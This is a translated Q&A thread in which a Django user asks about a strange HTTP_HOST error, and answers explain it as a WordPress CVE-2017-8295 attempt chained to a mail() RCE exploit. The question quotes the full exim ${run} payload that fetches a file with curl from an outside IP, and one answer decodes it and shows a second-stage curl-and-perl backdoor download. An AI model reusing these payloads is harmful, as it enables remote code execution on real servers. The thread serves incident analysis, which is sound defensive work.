这个无效的 HTTP_HOST 标头是漏洞利用的一部分吗?

信息安全 开发 http
2021-09-02 07:23:14

我们从 django 应用程序收到大量错误消息,如下所示:

Invalid HTTP_HOST header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information: 
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...

我以前从未见过类似的东西,而且我很难弄清楚它的含义。这可能是某种利用的一部分,还是我只是偏执?

3个回答

为了扩展@Swashbuckler 提供的答案,CVE-2017-8295特别涉及带有HOSTHTTP 标头集的 WordPress 密码重置。

当 WordPress 发送密码重置电子邮件时,他们将From/设置Return-Path$_SERVER['SERVER_NAME'](在 PHP 中)的值。该值由一些 Web 服务器(例如 Apache)基于HOSTHTTP 标头设置。

这意味着攻击者可以让 WordPress 发送具有From/Return-Path设置为他们选择的电子邮件地址的电子邮件。如果电子邮件被退回或回复,它将发生在此恶意电子邮件地址上,并且 - 如果原始电子邮件已附加 - 攻击者将可以访问密码重置链接。

实际上滥用该漏洞需要两个因素发生:Web 服务器必须从HOST标头中读取主机名,并且电子邮件必须被退回或回复。前者可以由服务器管理员修复(如果使用 Apache,通过设置UseCanonicalName On),后者需要攻击者以某种方式阻止受害者的邮件服务器(例如通过 DoS 攻击)或让受害者回复电子邮件。

正如@TerrorBite 所指出的,攻击者实际上并不是针对密码重置链接,而只是利用该漏洞来利用 PHPmail()函数中的漏洞。请看下面他的回答。

在我看来,这是一种利用CVE-2017-8295的尝试。

以下是 CVE 的摘要:

WordPress 到 4.7.4 依赖于 Host HTTP 标头来重置密码电子邮件,这使得远程攻击者更容易通过制作 wp-login.php?action=lostpassword 请求来重置任意密码,然后安排此消息被退回或重新发送,从而导致将重置密钥传输到攻击者控制的 SMTP 服务器上的邮箱。这与将 wp-includes/pluggable.php 中的 SERVER_NAME 变量与 PHP 邮件函数一起使用时出现问题有关。并非在所有情况下都可以利用,因为它至少需要以下一项:(1) 攻击者可以阻止受害者在较长时间内(例如 5 天)接收任何电子邮件,(2)受害者的电子邮件系统发送包含原始邮件的自动回复,

丹尼斯说他们看到了很多请求,所以攻击者要么试图猜测账户名,要么拥有一个账户名列表(可能以某种方式获得),并试图重置账户密码以便获得控制权其中。攻击者正在寻找 CVE 中描述的重置密钥。

这实际上似乎是针对php函数中的远程代码执行漏洞CVE-2016-10033mail()仅使用 CVE-2017-8295 作为将漏洞代码注入mail()函数的一种方式

HTTP 主机标头的内容是一个字符串,其中包含旨在由exim4邮件传输代理运行的替换值。子字符串函数似乎旨在返回正斜杠字符和空格字符(这用于避免 Apache 过滤掉斜杠字符并确保空格不会破坏exim4'-be标志的参数)。如果我们用这些替换,我们最终会得到一个与此类似的字符串(IP 地址部分编辑):

target(any -froot@localhost -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)

这将导致 exim4${run}函数执行 curl 来下载文件rce.txt

请注意,这只会下载文件。您可能会看到第二个 HTTP 请求具有类似但不同的Host标头,该请求将调用bash以执行先前下载的文件。

在撰写本文时,此地址的文件rce.txt包含另一个命令行字符串,如下所示(URL 和 IP 地址部分编辑):

curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif  && perl /tmp/wp.gif

该文件strust.gif被检测为 Backdoor:Perl/Shellbot.S,并且该威胁的 ISC SANS 记录可用